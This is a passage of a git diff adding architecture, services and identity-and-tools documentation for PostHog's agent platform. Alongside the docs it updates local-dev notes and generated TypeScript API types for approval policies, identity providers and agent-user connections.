+
+## The data model
+
+```mermaid
+erDiagram
+ agent_application ||--o{ agent_revision : "has"
+ agent_application ||--o| agent_revision : "live_revision"
+ agent_revision ||--o{ agent_session : "runs"
+ agent_application ||--o{ agent_user : "knows"
+ agent_user ||--o{ agent_session : "starts"
+ agent_user ||--o{ agent_identity_credential : "links"
+
+ agent_application {
+ int team_id
+ string slug
+ json encrypted_env
+ uuid live_revision_id
+ }
+ agent_revision {
+ string state "draft|ready|live|archived"
+ string bundle_uri
+ json spec "model,triggers,tools,mcps,skills..."
+ }
+ agent_session {
+ string state
+ string external_key
+ json conversation
+ json principal
+ }
+ agent_user {
+ string principal_kind "slack|jwt|posthog|..."
+ string principal_id
+ }
+ agent_identity_credential {
+ string provider
+ json encrypted_credentials
+ string subject
+ }
+```
+
+`agent_application` + `agent_revision` live in **POSTHOG_DB** (Django-owned).
+Everything else lives in **AGENT_DB** (node-owned). In dev both are the same
+local Postgres (`posthog` + `agent_runtime_queue`); in prod they are separate
+physical instances.
+
+## The spec is the contract
+
+A revision's `spec` (JSONB) is the structural truth for an agent. It is
+validated by `AgentSpecSchema` (zod) in
+[agent-shared/src/spec/](../services/agent-shared/src/spec/) — Django validates
+loosely and passes it through.
+
+```mermaid
+flowchart LR
+ spec["revision.spec"] --> model["model"]
+ spec --> triggers["triggers[]<br/>chat·webhook·slack·cron·mcp"]
+ spec --> tools["tools[]<br/>native·custom·client"]
+ spec --> mcps["mcps[]<br/>external MCP servers"]
+ spec --> skills["skills[]"]
+ spec --> integ["integrations[]"]
+ spec --> idp["identity_providers[]<br/>posthog·oauth2"]
+ spec --> secrets["secrets[]"]
+ spec --> limits["limits<br/>turns·tools·wall·mem·cpu"]
+ spec --> entry["entrypoint (agent.md)"]
+```
+
+## Revision lifecycle
+
+A revision is authored as a `draft`, frozen to `ready` (bundle becomes
+immutable, spec validated server-side), promoted to `live` (the slug now
+routes to it), and superseded revisions go `archived`. Ingress only enqueues
+against the **live** revision.
+
+```mermaid
+stateDiagram-v2
+ [*] --> draft: create
+ draft --> draft: edit bundle / spec
+ draft --> ready: freeze (validate + seal bundle)
+ ready --> live: promote (set live_revision_id)
+ live --> archived: superseded by newer live
+ ready --> archived: discarded
+```
+
+## Supporting infrastructure
+
+| Concern | Backed by | Interface (agent-shared) |
+| ------------------------------- | ----------------------------------------------------------------------- | ----------------------------------- |
+| Session queue | Postgres (`AGENT_DB`) | `PgSessionQueue` |
+| Bundle store | S3 (prod) / SeaweedFS (test) | `BundleStore` / `S3BundleStore` |
+| Event bus (SSE fan-out) | Redis | `RedisSessionEventBus` |
+| Credential broker (per-session) | Redis / in-memory | `CredentialBroker` |
+| Log sink | Kafka → ClickHouse | `KafkaLogSink` |
+| Analytics | PostHog capture | `CaptureAnalyticsSink` |
+| Custom-tool sandbox | Docker (local) / Modal (prod) | `SandboxImpl` / `selectSandboxPool` |
+| Model calls | direct providers or [ai-gateway](https://github.com/PostHog/ai-gateway) | pi-ai (`AGENT_USE_AI_GATEWAY`) |
+
+Every cross-process boundary is an **interface with exactly one prod impl**.
+The e2e harness wires those same real classes against local services — no
+in-memory fakes — so shape drift can't hide. The only test-time swap is the
+in-process sandbox and pi-ai's `faux` model provider.
diff --git a/products/agent_platform/docs/identity-and-tools.md b/products/agent_platform/docs/identity-and-tools.md
new file mode 100644
index 000000000000..5e3065aed1ce
--- /dev/null
+++ b/products/agent_platform/docs/identity-and-tools.md
@@ -0,0 +1,225 @@
+# Agent platform — identity, credentials & tools
+
+How a request becomes an authenticated principal, how that principal links to
+external identities, and how tools (native, custom, MCP) get the credentials
+they need. See [architecture.md](architecture.md) and [services.md](services.md)
+for the surrounding structure.
+
+There are **two distinct credential axes** — keep them separate in your head:
+
+- **Edge identity** — _who is calling the agent right now_ (the `AuthMode`).
+ Produces a `SessionPrincipal` and, for some modes, a short-lived per-session
+ credential.
+- **Linked identity** — _who that caller is on some external system_ (GitHub,
+ Linear, PostHog). A durable, per-user OAuth link the agent acts as when a
+ tool needs it.
+
+```mermaid
+flowchart LR
+ req["inbound request"] --> edge["edge identity<br/>(AuthMode → SessionPrincipal)"]
+ edge --> user["agent_user<br/>(stable identity)"]
+ user --> linked["linked identities<br/>(agent_identity_credential)"]
+ edge -. per-session seed .-> broker["CredentialBroker"]
+ linked --> tool["tool needs provider creds"]
+ broker --> tool
+ tool --> ext["external API / MCP server"]
+```
+
+## Edge identity: the five auth modes
+
+Each trigger with an `AuthConfig` accepts a list of `AuthMode`s; first
+successful match wins. The mode chosen _is_ the trust model — you can't fake
+one mode's isolation on top of another.
+
+| Use case | `AuthMode` | Principal | Per-session credential |
+| ---------------------------------------------------- | ------------------ | -------------------------------------------------- | ---------------------- |
+| Single upstream integration (Stripe, GitHub webhook) | `shared_secret` | one per agent (`team_id` only) | none |
+| Embedded / multi-tenant chat, per-caller isolation | `jwt` | `sub` + `claims` (upstream-signed) | `self` (the JWT) |
+| A PostHog user calling their own agent | `posthog` | the PostHog user (validated via `/api/users/@me/`) | `posthog_api` bearer |
+| PostHog backend → ingress, server-to-server | `posthog_internal` | the platform itself | none |
+| Genuinely public surface | `public` | anonymous (opt-in `acknowledge_public_exposure`) | none |
+
+`SessionPrincipal` is a discriminated union (`anonymous · posthog · jwt ·
+slack · posthog_internal · shared_secret · service`) defined in
+[agent-shared/src/spec/spec.ts](../services/agent-shared/src/spec/spec.ts).
+
+> **`shared_secret` is single-principal by design.** Every holder of the secret
+> is the _same_ principal; `x-external-key` is a routing tag, **not** a
+> credential. Per-caller isolation is `jwt`'s job. (We tried adding a
+> self-asserted caller header twice and reverted both — re-introducing it needs
+> a threat-model write-up.)
+
+`principalsMatch(stored, incoming)` decides whether an inbound request may
+resume/append to an existing session: Slack matches on `(workspace_id,
+slack_user_id)`, JWT on `sub`, posthog on `(user_id, team_id)`, shared_secret
+on `team_id`.
+
+## From request to a running session
+
+```mermaid
+sequenceDiagram
+ autonumber
+ participant C as Caller
+ participant T as Trigger handler
+ participant A as AuthProvider
+ participant ID as PgIdentityStore
+ participant B as CredentialBroker
+ participant DB as agent_session
+
+ C->>T: request (+ bearer / signature / JWT)
+ T->>A: verify(req, spec.auth.modes)
+ A-->>T: SessionPrincipal + CredentialMap
+ T->>ID: findOrCreate(app, principal_kind, principal_id)
+ ID-->>T: agent_user.id (stable)
+ T->>DB: enqueue session (principal, external_key)
+ T->>B: write(session_id, credentials) [per-session seed, ~24h TTL]
+ T-->>C: { session_id }
+```
+
+The **principal** is stored on the session row; the **agent_user** is the
+durable identity behind it (keyed by `application_id · principal_kind ·
+principal_id`); the **CredentialBroker** holds the short-lived edge credential
+(e.g. the PostHog bearer the caller presented) keyed by `session_id`.
+
+## Linked identities
+
+A principal (say a Slack user) can act as themselves on external systems once
+they've **linked**. Linking is an OAuth dance whose transient state lives in
+`agent_identity_link_state` and whose durable result lives in
+`agent_identity_credential` (encrypted at rest, per `agent_user` per provider).
+
+Providers are declared in `spec.identity_providers[]` (`kind: posthog` or
+`oauth2`, `binding: principal` (per-asker, default) or `agent`). Identity-
+establishing providers (e.g. PostHog OAuth) record a `subject` — the proven
+external identity — which is how a Slack user gets bridged to "their PostHog
+person".
+
+```mermaid
+sequenceDiagram
+ autonumber
+ participant Tool
+ participant G as identity gate
+ participant CS as agent_identity_credential
+ participant LS as agent_identity_link_state
+ participant U as User (browser)
+
+ Tool->>G: identity.resolve(provider, scopes)
+ G->>CS: get(agent_user_id, provider)
+ alt linked & active
+ CS-->>G: credential
+ G-->>Tool: { ok, credential, allowedHosts }
+ else not linked
+ G->>LS: create(code_verifier, redirect_uri)
+ G-->>Tool: { link_required, authorizeUrl }
+ Tool-->>U: prompt to authorize
+ U->>LS: OAuth callback (consume state)
+ U->>CS: put(encrypted tokens, subject, scopes)
+ end
+```
+
+## The tool taxonomy
+
+The runner assembles one `AgentTool[]` for the model from four sources, in
+[agent-runner/src/loop/build-agent-tools.ts](../services/agent-runner/src/loop/build-agent-tools.ts):
+
+```mermaid
+flowchart TB
+ spec["revision.spec"] --> on["always-on<br/>meta-end-turn · meta-end-session<br/>load-skill (if skills)"]
+ spec --> decl["spec.tools[]"]
+ spec --> mcpspec["spec.mcps[]"]
+
+ decl --> native["native @posthog/*<br/>in-process (agent-tools)"]
+ decl --> custom["custom<br/>sandboxed (agent-sandbox-host)"]
+ decl --> client["client<br/>dispatched to browser/IDE over bus"]
+ mcpspec --> mcp["mcp<br/>external server, prefixed id__tool"]
+
+ on --> merged["AgentTool[] → pi-agent-core loop"]
+ native --> merged
+ custom --> merged
+ client --> merged
+ mcp --> merged
+```
+
+| Kind | Sourced from | Executed | Notes |
+| ---------- | ----------------------------------- | ------------------------------------- | ------------------------------------------------------------------------------------ |
+| **native** | `@posthog/*` registry (agent-tools) | in the runner process | `@posthog/query`, `@posthog/slack-*`, `@posthog/http-request`, memory/table tools, … |
+| **meta** | always-on | intercepted, never `run()` | control-flow: `end-turn`, `end-session`, `emit-event` |
+| **custom** | revision bundle (`tools/<id>/`) | in a **sandbox** (Docker/Modal) | author code; secrets injected via nonce at the boundary |
+| **client** | `spec.tools[] kind:client` | dispatched to the caller over the bus | browser/IDE fulfils it; may park the session |
+| **mcp** | `spec.mcps[]` | remote MCP server over HTTP | model sees `<mcpId>__<remoteTool>` |
+
+Each native tool's schema may declare `requires.provider` (`{ id, scopes }`);
+that's the hook the identity gate uses to resolve a credential **before** the
+tool runs. If resolution needs a link, the model gets an `auth_required` result
+instead of the tool failing.
+
+### What a tool receives — `ToolContext`
+
+Threaded through to every tool: `teamId · applicationId · sessionId`,
+`secret(name)` (decrypted `encrypted_env`), `integrations` (team OAuth tokens),
+`credentials.resolve(target)` (the per-session broker), `identity.resolve(provider)`
+(linked-identity gate), `resolvedIdentities` (pre-resolved for gated tools),
+`memoryStore` / `tabularStore`, and `http` (the proxy-bound `HttpClient` — the
+only outbound path agent-influenced code may take).
+
+## Tool credential resolution
+
+When a tool needs a provider credential, the gate checks the **edge seed
+first** (the per-session broker — e.g. the bearer the caller presented), then
+falls back to the **persistent linked credential**, and only then asks the user
+to link:
+
+```mermaid
+flowchart TB
+ need["tool requires provider"] --> seed{broker has<br/>fresh credential?}
+ seed -->|yes| use["use edge-seed credential"]
+ seed -->|no| linkq{linked credential<br/>in store?}
+ linkq -->|yes, active| use2["use linked credential"]
+ linkq -->|no| linkreq["return auth_required<br/>(+ authorizeUrl)"]
+ use --> apicall["call external API via ctx.http (proxied)"]
+ use2 --> apicall
+```
+
+## Approval gating
+
+Any tool ref (native / custom / mcp) can set `requires_approval` with an
+`approval_policy` (`approvers`, `allow_edit`, `ttl_ms`). A gated call doesn't
+execute — it writes an `agent_tool_approval_request` row and returns a synthetic
+"queued" envelope the model can read. The janitor/approver decides out of band;
+on approval the runner executes the real tool and wakes the session with the
+result.
+
+```mermaid
+flowchart LR
+ call["model calls gated tool"] --> q["queue agent_tool_approval_request"]
+ q --> envelope["return queued envelope to model"]
+ decide{approver decides} -->|approved| exec["execute real tool → wake session"]
+ decide -->|rejected| skip["return rejection to model"]
+ q -.-> decide
+```
+
+## The two MCP directions
+
+MCP shows up on **both** sides of an agent — don't conflate them:
+
+```mermaid
+flowchart LR
+ subgraph consume["(A) Agent consumes MCP"]
+ runner["agent-runner"] -->|listTools / callTool| ext["external MCP servers<br/>(spec.mcps[])"]
+ end
+ subgraph expose["(B) Agent exposed as MCP"]
+ mcpclient["MCP client<br/>(Claude Desktop, claude.ai)"] -->|"ask(message, session_id?)"| ingress["agent-ingress /agents/&lt;slug&gt;/mcp"]
+ end
+```
+
+- **(A) Consuming** — `spec.mcps[]` servers are opened at session start (in
+ parallel, partial-failure tolerated), their tools listed and exposed to the
+ loop as `<mcpId>__<remoteTool>`. Auth per server is an `integration` (team
+ OAuth bearer, host-validated), a `provider` (per-asker linked identity), or
+ `secrets[]` substituted into the URL/headers.
+- **(B) Exposing** — ingress also serves the agent itself as an MCP server with
+ a single `ask` tool, so an MCP client can talk to a deployed agent.
+ Separately, the **Django authoring REST API** is generated into MCP tools
+ (`agent-applications-*`) so an authoring client can create/edit/promote
+ agents — that surface is authoring-only (see the gap note in
+ [local-dev.md](local-dev.md)).
diff --git a/products/agent_platform/docs/local-dev.md b/products/agent_platform/docs/local-dev.md
index f3f96757bb1c..e8cc2576fa38 100644
--- a/products/agent_platform/docs/local-dev.md
+++ b/products/agent_platform/docs/local-dev.md
@@ -51,10 +51,11 @@ etc.) live in [products/agent_platform/services/agent-tools](../../../products/a
- **POSTHOG_DB** — Django-owned. Tables: `agent_application`,
`agent_revision`. Written by Django; read by ingress + runner.
-- **AGENT_DB** — node-owned. Tables: `agent_session`, `agent_user`,
- `agent_sandbox_instance`, `agent_tool_approval_request`. Schema is
- managed by [@posthog/agent-migrations](../../../products/agent_platform/services/agent-migrations/);
- the runner applies pending migrations on boot (idempotent).
+- **AGENT_DB** — the queue / runtime database. Tables: `agent_session`,
+ `agent_user`, `agent_sandbox_instance`, `agent_tool_approval_request`.
+ Schema is Django-owned ([products/agent_platform/backend/migrations/](../backend/migrations/)),
+ applied by the main `migrate` process (`migrate_product_databases`); the
+ node services are pure clients that connect and run raw SQL, never DDL.
In dev they're the same Postgres (`postgres://posthog:posthog@localhost:5432`),
just two databases: `posthog` and `agent_runtime_queue`. In prod they're
@@ -70,7 +71,6 @@ dev:setup` and `hogli start` (or `./bin/start`) gives you:
agent-ingress → http://localhost:3030 (PORT=AGENT_INGRESS_PORT)
agent-janitor → http://localhost:3031 (PORT=AGENT_JANITOR_PORT)
agent-runner → no HTTP, watches the queue
-migrate-agent-runtime → applies AGENT_DB migrations once on boot
```
Standalone (without phrocs) if you only want the agent services:
@@ -269,10 +269,17 @@ pnpm --filter @posthog/agent-tests test # full suite (faux)
pnpm --filter @posthog/agent-tests test cases/chat # one case file
```
-Requires `agent_runtime_queue_test` to exist locally (`bin/migrate
---scope=agent_runtime` creates `agent_runtime_queue`; the test DB is a
-sibling). The harness drops + reapplies schema per test, so DB state
-is never shared between tests.
+Requires the `agent_runtime_queue_test` DB to exist locally **with the schema
+applied**. Schema is Django-owned (the single source of truth —
+`products/agent_platform/backend/migrations/`), so create + migrate it with:
+
+```bash
+bin/migrate-agent-test-db # drop + recreate + migrate agent_platform
+```
+
+Run that once, and again after pulling a new agent*platform migration. The test
+harness's `reset()` then only truncates the `agent*\*` tables between cases, so DB
+state is never shared between tests (and there's no hand-maintained SQL to drift).
### Vital-feature coverage rule
@@ -334,6 +341,10 @@ auth predicates). Anything that crosses two services belongs in
## Where the canonical docs live
+- [README.md](README.md) — docs index.
+- [architecture.md](architecture.md) — high-level architecture (diagrams).
+- [services.md](services.md) — what each service does (diagrams).
+- [identity-and-tools.md](identity-and-tools.md) — identity → tools → MCP (diagrams).
- This file — local dev + testing.
- [../plans/\_ROADMAP.md](../plans/_ROADMAP.md) — what we're building next.
- [products/agent_platform/CLAUDE.md](../../../products/agent_platform/CLAUDE.md) — Django-side rules.
diff --git a/products/agent_platform/docs/services.md b/products/agent_platform/docs/services.md
new file mode 100644
index 000000000000..909b66e66ec2
--- /dev/null
+++ b/products/agent_platform/docs/services.md
@@ -0,0 +1,153 @@
+# Agent platform — the services
+
+What each process owns and how they hand off. Start with
+[architecture.md](architecture.md) for the big picture; this doc zooms into the
+moving parts. Source for each lives under
+[products/agent_platform/services/](../services/).
+
+## Who does what
+
+```mermaid
+flowchart LR
+ subgraph authoring["Authoring (control plane)"]
+ django["Django<br/>REST authoring API"]
+ janitor["agent-janitor :3031"]
+ end
+ subgraph runtime["Runtime (data plane)"]
+ ingress["agent-ingress :3030"]
+ runner["agent-runner"]
+ end
+ subgraph libs["Shared code (not deployed)"]
+ shared["agent-shared<br/>spec · persistence · bus · storage"]
+ tools["agent-tools<br/>@posthog/* native tools"]
+ sandboxhost["agent-sandbox-host<br/>runs custom tools"]
+ end
+
+ django --> janitor
+ janitor --> shared
+ ingress --> shared
+ runner --> shared
+ runner --> tools
+ runner --> sandboxhost
+```
+
+| Service | Inbound | Owns | Touches DB |
+| ------------------------- | ------------------------------------ | -------------------------------------------------------------------------------- | ------------------------------------------------------------------------------- |
+| **Django** (`backend/`) | REST `/api/.../agent_applications/*` | authoring surface, `encrypted_env`, proxies bundle reads | `POSTHOG_DB` (rw) |
+| **agent-janitor** `:3031` | HTTP (internal-secret) | bundle CRUD, freeze/validate/clone, `/native_tools`, **sweep timer** | `POSTHOG_DB` (bundle meta), `AGENT_DB` (sweep) |
+| **agent-ingress** `:3030` | HTTP (public-facing) | triggers, routing, auth/identity, enqueue | reads revision (`POSTHOG_DB`); writes `agent_session`/`agent_user` (`AGENT_DB`) |
+| **agent-runner** | none (`/healthz` only) | claim → run model loop → dispatch tools → persist → publish events | reads revision+bundle; writes session/conversation (`AGENT_DB`) |
+| **agent-shared** | — | library: spec schema, Pg stores, bundle store, event bus, brokers, sandbox iface | — |
+| **agent-tools** | — | library: `@posthog/*` native tool impls | — |
+| **agent-sandbox-host** | — | executes author-defined custom tools in isolation | — |
+
+## The request → result path
+
+A trigger arrives at ingress, which authenticates and enqueues a session row.
+The runner claims it asynchronously off the queue, runs the model loop, and
+streams lifecycle events back over Redis so `/listen` (SSE) can tail them.
+
+```mermaid
+sequenceDiagram
+ autonumber
+ participant C as Caller
+ participant I as agent-ingress
+ participant DB as AGENT_DB (queue)
+ participant R as agent-runner
+ participant Bus as Redis bus
+
+ C->>I: POST /agents/{slug}/run
+ I->>I: route slug → app + live revision
+ I->>I: authenticate → SessionPrincipal
+ I->>DB: INSERT agent_session (available)
+ I-->>C: { session_id }
+ C->>I: GET /agents/{slug}/listen?session_id (SSE)
+ I->>Bus: subscribe(session_id)
+
+ R->>DB: claim available session
+ R->>R: load revision + bundle, build tools
+ loop model loop (pi-agent-core)
+ R->>R: model call → tool calls → persist turn
+ R->>Bus: publish lifecycle event
+ Bus-->>I: event
+ I-->>C: SSE event
+ end
+ R->>DB: write outcome (completed / waiting / failed)
+ R->>Bus: publish terminal event
+```
+
+`bin/run-agent` exercises exactly this path end-to-end in one command — reach
+for it first when anything in the three services changes.
+
+## agent-ingress — every way in
+
+One module per trigger under
+[agent-ingress/src/triggers/](../services/agent-ingress/src/triggers/). Each is
+skinny: **look up app → resolve secrets → verify → resolve identity → enqueue
+→ return.** Long work belongs in the runner, never in the request thread.
+
+```mermaid
+flowchart TB
+ chat["chat<br/>/run · /send · /listen"] --> enq
+ webhook["webhook<br/>/webhook"] --> enq
+ slack["slack<br/>/slack/events · /interactivity"] --> enq
+ cron["cron<br/>scheduler"] --> enq
+ mcpt["mcp<br/>/agents/&lt;slug&gt;/mcp (ask)"] --> enq
+ enq["enqueue<br/>validated request → agent_session row"] --> q[("AGENT_DB")]
+```
+
+Triggers `chat` / `webhook` / `mcp` carry an `AuthConfig` (a list of accepted
+`AuthMode`s); `slack` / `cron` authenticate via their own protocol. Identity
+resolution is covered in [identity-and-tools.md](identity-and-tools.md).
+
+## agent-runner — the worker loop
+
+The runner is queue-driven and has **no product HTTP**. Concurrency lives in
+the outer `Worker`; the `driver` runs exactly one session at a time and drives
+pi-agent-core's agent loop. Every branch publishes a lifecycle event (so SSE +
+Kafka logs never go dark) and every side effect goes through an injected
+interface.
+
+```mermaid
+flowchart LR
+ claim["Worker.claim"] --> load["load revision + bundle"]
+ load --> build["build-agent-tools<br/>native + custom + client + mcp"]
+ build --> loop["driver: pi-agent-core loop"]
+ loop -->|tool call| dispatch{dispatch}
+ dispatch -->|native| native["in-process @posthog/*"]
+ dispatch -->|custom| sandbox["sandbox.invoke"]
+ dispatch -->|mcp| mcpcall["mcpClient.callTool"]
+ dispatch -->|client| busdisp["dispatch over bus"]
+ loop --> persist["persist conversation + outcome"]
+ persist --> events["publish lifecycle events"]
+ loop -->|park| wait["waiting (resume later)"]
+```
+
+## agent-janitor — authoring proxy + sweeper
+
+Two unrelated jobs in one process. Django proxies bundle access through it
+(`/revisions/:id/{manifest,file,bundle,freeze,validate,clone_from}`) so Django
+never touches the bundle filesystem; `/native_tools` reflects exactly what
+`agent-tools` exports right now. Separately, a timer **re-queues stuck
+`running` sessions and fails stuck `waiting` ones** — thresholds are env-tuned
+(`STUCK_RUNNING_MS`, `STUCK_WAITING_MS`, `MAX_RETRIES`, `SWEEP_INTERVAL_MS`).
+
+```mermaid
+flowchart LR
+ subgraph janitor["agent-janitor"]
+ api["authoring API<br/>(x-internal-secret)"]
+ sweep["sweep timer"]
+ end
+ django["Django"] -->|proxy| api
+ api --> store[("bundle store (S3)")]
+ sweep -->|requeue / fail| q[("AGENT_DB sessions")]
+```
+
+## Validate twice, same schema
+
+What the janitor accepts at **freeze** the runner must accept at **session
+start** — both check against the same `AgentSpecSchema`. Tighten one side
+without the other and the runner rejects sessions for revisions the janitor
+already froze. The Django serializer shape, the MCP tool surface, and the
+frontend types all regenerate from the OpenAPI spec, so **rerun `hogli
+build:openapi`** after any serializer/viewset change.
diff --git a/products/agent_platform/frontend/generated/api.schemas.ts b/products/agent_platform/frontend/generated/api.schemas.ts
index 043155423c67..2cd3352a6932 100644
--- a/products/agent_platform/frontend/generated/api.schemas.ts
+++ b/products/agent_platform/frontend/generated/api.schemas.ts
@@ -365,15 +365,13 @@ export type AgentRevisionApiSpecToolsItem =
id: string
requires_approval?: boolean
approval_policy?: {
- /** @minItems 1 */
- approvers?: ('team_admins' | 'session_principal')[]
+ type?: 'principal' | 'agent'
allow_edit?: boolean
/**
* @minimum 60000
* @maximum 604800000
*/
ttl_ms?: number
- allow_agent_approver?: boolean
}
}
| {
@@ -382,16 +380,15 @@ export type AgentRevisionApiSpecToolsItem =
path: string
requires_approval?: boolean
approval_policy?: {
- /** @minItems 1 */
- approvers?: ('team_admins' | 'session_principal')[]
+ type?: 'principal' | 'agent'
allow_edit?: boolean
/**
* @minimum 60000
* @maximum 604800000
*/
ttl_ms?: number
- allow_agent_approver?: boolean
}
+ requires_identity?: string
}
| {
kind: 'custom_template'
@@ -418,6 +415,7 @@ export type AgentRevisionApiSpecToolsItem =
export type AgentRevisionApiSpecMcpsItemAuth = {
integration?: string
+ provider?: string
}
export type AgentRevisionApiSpecMcpsItemHeaders = { [key: string]: string }
@@ -429,15 +427,13 @@ export type AgentRevisionApiSpecMcpsItemToolsItem =
name: string
requires_approval?: boolean
approval_policy?: {
- /** @minItems 1 */
- approvers?: ('team_admins' | 'session_principal')[]
+ type?: 'principal' | 'agent'
allow_edit?: boolean
/**
* @minimum 60000
* @maximum 604800000
*/
ttl_ms?: number
- allow_agent_approver?: boolean
}
}
@@ -461,6 +457,29 @@ export type AgentRevisionApiSpecSkillsItem = {
version?: number
}
+export type AgentRevisionApiSpecIdentityProvidersItem =
+ | {
+ kind: 'posthog'
+ /** @minLength 1 */
+ id?: string
+ binding?: 'principal'
+ scopes?: string[]
+ client_id?: string
+ }
+ | {
+ kind: 'oauth2'
+ /** @minLength 1 */
+ id: string
+ binding?: 'principal'
+ authorize_url: string
+ token_url: string
+ /** @minLength 1 */
+ client_id: string
+ client_secret_ref?: string
+ scopes?: string[]
+ userinfo_url?: string
+ }
+
export type AgentRevisionApiSpecSecretsItem =
| string
| {
@@ -532,6 +551,7 @@ export type AgentRevisionApiSpec = {
mcps: AgentRevisionApiSpecMcpsItem[]
skills: AgentRevisionApiSpecSkillsItem[]
integrations: string[]
+ identity_providers?: AgentRevisionApiSpecIdentityProvidersItem[]
secrets: AgentRevisionApiSpecSecretsItem[]
limits: AgentRevisionApiSpecLimits
entrypoint: string
@@ -725,15 +745,13 @@ export type PatchedAgentRevisionApiSpecToolsItem =
id: string
requires_approval?: boolean
approval_policy?: {
- /** @minItems 1 */
- approvers?: ('team_admins' | 'session_principal')[]
+ type?: 'principal' | 'agent'
allow_edit?: boolean
/**
* @minimum 60000
* @maximum 604800000
*/
ttl_ms?: number
- allow_agent_approver?: boolean
}
}
| {
@@ -742,16 +760,15 @@ export type PatchedAgentRevisionApiSpecToolsItem =
path: string
requires_approval?: boolean
approval_policy?: {
- /** @minItems 1 */
- approvers?: ('team_admins' | 'session_principal')[]
+ type?: 'principal' | 'agent'
allow_edit?: boolean
/**
* @minimum 60000
* @maximum 604800000
*/
ttl_ms?: number
- allow_agent_approver?: boolean
}
+ requires_identity?: string
}
| {
kind: 'custom_template'
@@ -778,6 +795,7 @@ export type PatchedAgentRevisionApiSpecToolsItem =
export type PatchedAgentRevisionApiSpecMcpsItemAuth = {
integration?: string
+ provider?: string
}
export type PatchedAgentRevisionApiSpecMcpsItemHeaders = { [key: string]: string }
@@ -789,15 +807,13 @@ export type PatchedAgentRevisionApiSpecMcpsItemToolsItem =
name: string
requires_approval?: boolean
approval_policy?: {
- /** @minItems 1 */
- approvers?: ('team_admins' | 'session_principal')[]
+ type?: 'principal' | 'agent'
allow_edit?: boolean
/**
* @minimum 60000
* @maximum 604800000
*/
ttl_ms?: number
- allow_agent_approver?: boolean
}
}
@@ -821,6 +837,29 @@ export type PatchedAgentRevisionApiSpecSkillsItem = {
version?: number
}
+export type PatchedAgentRevisionApiSpecIdentityProvidersItem =
+ | {
+ kind: 'posthog'
+ /** @minLength 1 */
+ id?: string
+ binding?: 'principal'
+ scopes?: string[]
+ client_id?: string
+ }
+ | {
+ kind: 'oauth2'
+ /** @minLength 1 */
+ id: string
+ binding?: 'principal'
+ authorize_url: string
+ token_url: string
+ /** @minLength 1 */
+ client_id: string
+ client_secret_ref?: string
+ scopes?: string[]
+ userinfo_url?: string
+ }
+
export type PatchedAgentRevisionApiSpecSecretsItem =
| string
| {
@@ -914,6 +953,7 @@ export type PatchedAgentRevisionApiSpec = {
mcps: PatchedAgentRevisionApiSpecMcpsItem[]
skills: PatchedAgentRevisionApiSpecSkillsItem[]
integrations: string[]
+ identity_providers?: PatchedAgentRevisionApiSpecIdentityProvidersItem[]
secrets: PatchedAgentRevisionApiSpecSecretsItem[]
limits: PatchedAgentRevisionApiSpecLimits
entrypoint: string
@@ -1212,7 +1252,7 @@ export type AgentApprovalRequestApiDecidedArgs = { [key: string]: unknown } | nu
export type AgentApprovalRequestApiAssistantMessage = { [key: string]: unknown }
/**
- * Resolved approver policy (approvers, allow_edit, allow_agent_approver) at request time.
+ * Resolved approval policy (type: principal|agent, allow_edit) at request time.
*/
export type AgentApprovalRequestApiApproverScope = { [key: string]: unknown }
@@ -1248,7 +1288,7 @@ export interface AgentApprovalRequestApi {
decided_args: AgentApprovalRequestApiDecidedArgs
/** Snapshot of the assistant message that emitted the call (text + thinking blocks) — what the approver sees as the model's reasoning. */
assistant_message: AgentApprovalRequestApiAssistantMessage
- /** Resolved approver policy (approvers, allow_edit, allow_agent_approver) at request time. */
+ /** Resolved approval policy (type: principal|agent, allow_edit) at request time. */
approver_scope: AgentApprovalRequestApiApproverScope
/** Lifecycle state. `queued` = awaiting an approver; `approving` = decision landed and tool dispatch is in flight; `dispatched`/`dispatched_failed` = approved + tool ran; `rejected` = approver said no; `expired` = TTL elapsed.
*
@@ -1606,6 +1646,37 @@ export interface AgentAggregateStatsApi {
pendingApprovalsCount: number
}
+export interface AgentUserConnectionApi {
+ id: string
+ provider: string
+ scopes: string[]
+ /** active | revoked */
+ state: string
+ /** @nullable */
+ subject?: string | null
+ /** @nullable */
+ access_expires_at?: string | null
+ created_at: string
+ updated_at: string
+ /** @nullable */
+ revoked_at?: string | null
+}
+
+export interface AgentUserWithConnectionsApi {
+ id: string
+ /** Edge-identity kind: slack | jwt | posthog | service | … */
+ principal_kind: string
+ principal_id: string
+ metadata?: unknown
+ created_at: string
+ connections: AgentUserConnectionApi[]
+}
+
+export interface AgentUsersListApi {
+ count: number
+ results: AgentUserWithConnectionsApi[]
+}
+
/**
* Trigger-specific metadata stamped at session creation. Shape varies by trigger kind; cron firings carry `{ kind: 'cron', cron_name, schedule, fired_at, manual? }`. Render this on session-detail so the operator can tell at a glance that a session was fired by which cron / when.
* @nullable
diff --git a/products/agent_platform/frontend/generated/api.ts b/products/agent_platform/frontend/generated/api.ts
index f985712addb8..d9f915b0cd45 100644
--- a/products/agent_platform/frontend/generated/api.ts
+++ b/products/agent_platform/frontend/generated/api.ts
@@ -53,6 +53,7 @@ import type {
AgentRevisionValidateResponseApi,
AgentTableRowsResponseApi,
AgentTablesListResponseApi,
+ AgentUsersListApi,
CloneFromRequestApi,
DecideApprovalRequestApi,
NewDraftRevisionRequestApi,
@@ -1630,9 +1631,13 @@ export const getAgentApplicationsApprovalsDecideUrl = (projectId: string, id: st
}
/**
- * Approve or reject a queued tool-approval request. Team-admin only
- * (plan §6.1). The runtime side runs the tool platform-side on approve
- * and wakes the session with a synthetic tool_result either way.
+ * Approve or reject a queued `agent`-type tool-approval request.
+ *
+ * This is the OWNER decision surface — the only PostHog-authoritative one:
+ * team admins decide here, in the console. `principal`-type approvals are
+ * decided by the session principal at the ingress decision API, not here.
+ * The runtime side runs the tool platform-side on approve and wakes the
+ * session with a synthetic tool_result either way.
*/
export const agentApplicationsApprovalsDecide = async (
projectId: string,
@@ -1945,6 +1950,49 @@ export const agentApplicationsStats = async (
})
}
+export const getAgentApplicationsUsersListUrl = (projectId: string, id: string) => {
+ return `/api/projects/${projectId}/agent_applications/${id}/users/`
+}
+
+/**
+ * List this agent's end-users (the stable identities behind inbound principals) and each user's linked external connections. Connection metadata only — credential material is never returned.
+ */
+export const agentApplicationsUsersList = async (
+ projectId: string,
+ id: string,
+ options?: RequestInit
+): Promise<AgentUsersListApi> => {
+ return apiMutator<AgentUsersListApi>(getAgentApplicationsUsersListUrl(projectId, id), {
+ ...options,
+ method: 'GET',
+ })
+}
+
+export const getAgentApplicationsUsersConnectionDeleteUrl = (
+ projectId: string,
+ id: string,
+ agentUserId: string,
+ provider: string
+) => {
